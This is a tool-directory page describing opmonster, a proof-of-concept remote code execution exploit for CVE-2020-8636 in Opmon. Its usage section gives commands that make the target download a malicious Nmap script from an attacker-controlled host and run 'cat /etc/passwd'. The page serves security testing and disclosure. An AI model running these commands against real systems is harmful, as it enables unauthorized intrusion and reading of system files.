Skip to content
KitploitKITPLOIT
ToolsBlog
Submit
ToolsBlog
Submit

Hacking, PenTest, and Cybersecurity Tools for Your Security Arsenal!

Kitploit is a directory of hacking, cybersecurity, and pentesting tools. Discover the latest project updates to find vulnerabilities, analyze systems, automate testing, and strengthen your security.

··Feeds·Contact·Privacy·© 2026 Kitploit

Tool Directory

Categories

View all categories
Loading categories
opmonster — CVE-2020-8636 authenticated remote code execution exploit for Opmon | Kitploit
Tools/GitHubGitHub/phor3nsic/opmonster
Vulnerability AnalysisExploitationWeb Application ExploitationPenetration TestingRed TeamingRemote Access Tool
GitHubphor3nsic/opmonster

opmonster

CVE-2020-8636 authenticated remote code execution exploit for Opmon

View Repository
222 months agoNot yet reviewed

Most Popular

View all →

Discover the most used tools by our community.

Explore all tools

Browse our collection of tools

View all tools →
Share

OpMonster

CVE-2020-8636 — authenticated remote code execution exploit for Opmon

About • Install • Usage • License

language last commit license stars

OpMonster

About

OpMonster is a proof-of-concept exploit for CVE-2020-8636, a remote code execution vulnerability in the Opmon monitoring platform. It abuses the nettools.php endpoint, which lets you run Nmap with arbitrary --script options. The exploit makes Opmon fetch a malicious Nmap script from a server you control (via ), drops it in , then runs it to execute your command on the target and prints the output.

Download Tool
.nse
http-fetch
/tmp

Discovered and developed by @phor3nsic. More details: Three CVEs on Opmon.

Install

root@kitploit:~
git clone https://github.com/phor3nsic/opmonster
cd opmonster
pip install requests

Usage

First, start a web server on a host the target can reach, in a directory where the generated .nse script can be downloaded from (the exploit writes the script into the current directory):

root@kitploit:~
php -S 0.0.0.0:1337

Then run the exploit with four positional arguments:

root@kitploit:~
python3 opmonster.py https://vulnhost.com myhost.ngrok.io 80 "cat /etc/passwd"
ArgumentDescription
HOSTTarget Opmon base URL (e.g. https://vulnhost.com)
LHOSTYour server host that serves the .nse script
LPORTYour server port
CMDCommand to execute on the target

The exploit aborts with a message if the target does not download the script ("not vulnerable") or cannot make an outbound connection to your server.

Disclaimer

For authorized security testing and education only. You are responsible for how you use it.

License

MIT © phor3nsic